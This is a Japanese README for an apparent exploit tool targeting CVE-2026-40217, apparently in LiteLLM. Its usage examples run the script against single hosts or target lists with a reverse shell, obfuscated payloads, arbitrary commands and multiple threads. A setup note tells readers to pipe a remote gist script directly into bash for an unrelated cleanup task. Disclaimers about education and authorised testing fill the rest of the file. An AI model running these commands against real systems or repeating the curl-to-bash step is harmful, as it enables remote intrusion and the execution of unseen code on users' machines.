cve-id

⚡ 簡単な使い方

このプロジェクトは、以下のような安全かつ許可された環境でのみ使用してください：

• ローカル仮想マシン
• Dockerコンテナ
• 隔離されたラボ環境
• 許可されたペネトレーションテスト環境

設定例：

git clone <repository-url>
cd <repository-name>

# Project use python follow below

# Create a virtual environment
python -m venv venv

# Activate the virtual environment

# macOS / Linux
source venv/bin/activate

# Windows (Git Bash / WSL)
source venv/Scripts/activate

# Install requirments
pip install -r requirements.txt

使用例：

# Help
python cve-2026-40217.py -h

# Single target + reverse shell
python cve-2026-40217.py -t http://localhost:4000 -k "sk-..." --revshell --obfuscate 2

# Multi-target + obfuscation
python cve-2026-40217.py -f targets.txt -k "sk-..." --obfuscate 3 -c "whoami; id"

# With custom threads
python cve-2026-40217.py -f targets.txt -k "sk-..." --threads 10

注記：

• 他のプロジェクトからクローンした場合、ネストされた .git ディレクトリをクリアするために curl -fsSL https://gist.githubusercontent.com/HORKimhab/24c89ee9a86a42aac88381334f8bfe48/raw | bash -s -- -y を実行する必要があります

クレジットおよび参考情報

• https://thehackernews.com/2026/06/litellm-vulnerability-chain-lets-low.html
• CVE-2026-40217-PoC-learner202649: https://github.com/learner202649/CVE-2026-40217-PoC

📚 教育用セキュリティ研究リポジトリ

管理された環境でサイバーセキュリティの概念を学習、テスト、研究するためのリポジトリです。

⚠️ セキュリティおよび法的免責事項

目的

このリポジトリは、教育および許可されたセキュリティ研究のみを目的としています。

ユーザーが以下について学ぶことを目的として設計されています：

• セキュリティ脆弱性
• サンドボックスと分離の概念
• 安全なコーディングと防御的実践

許可された使用のみ

このリポジトリは、以下のような許可を得た環境でのみ使用してください：

• 個人のラボまたは仮想マシン
• Dockerまたは隔離された環境
• 許可されたペネトレーションテスト
• サイバーセキュリティトレーニングまたは学術研究

許可のない使用または違法な使用は固く禁止されています。

責任の否認

著者および貢献者は、このプロジェクトによって引き起こされたいかなる損害、誤用、法的問題、または損失についても責任を負いません。

このリポジトリを使用することにより、以下に同意したものとみなされます：

• 自己の行動に対して責任を負うこと
• 法的かつ倫理的に使用すること
• プロジェクトは無保証で提供されること

倫理的な使用

このプロジェクトは以下の用途を目的としています：

• 防御的セキュリティ研究
• サイバーセキュリティ教育
• 脆弱性の認識
• 安全なシステムおよびソフトウェアの研究

責任ある情報開示の慣行に従い、適用されるすべての法律を遵守してください。

連絡先

責任ある情報開示または協力については、GitHubを通じてリポジトリのメンテナーに連絡してください。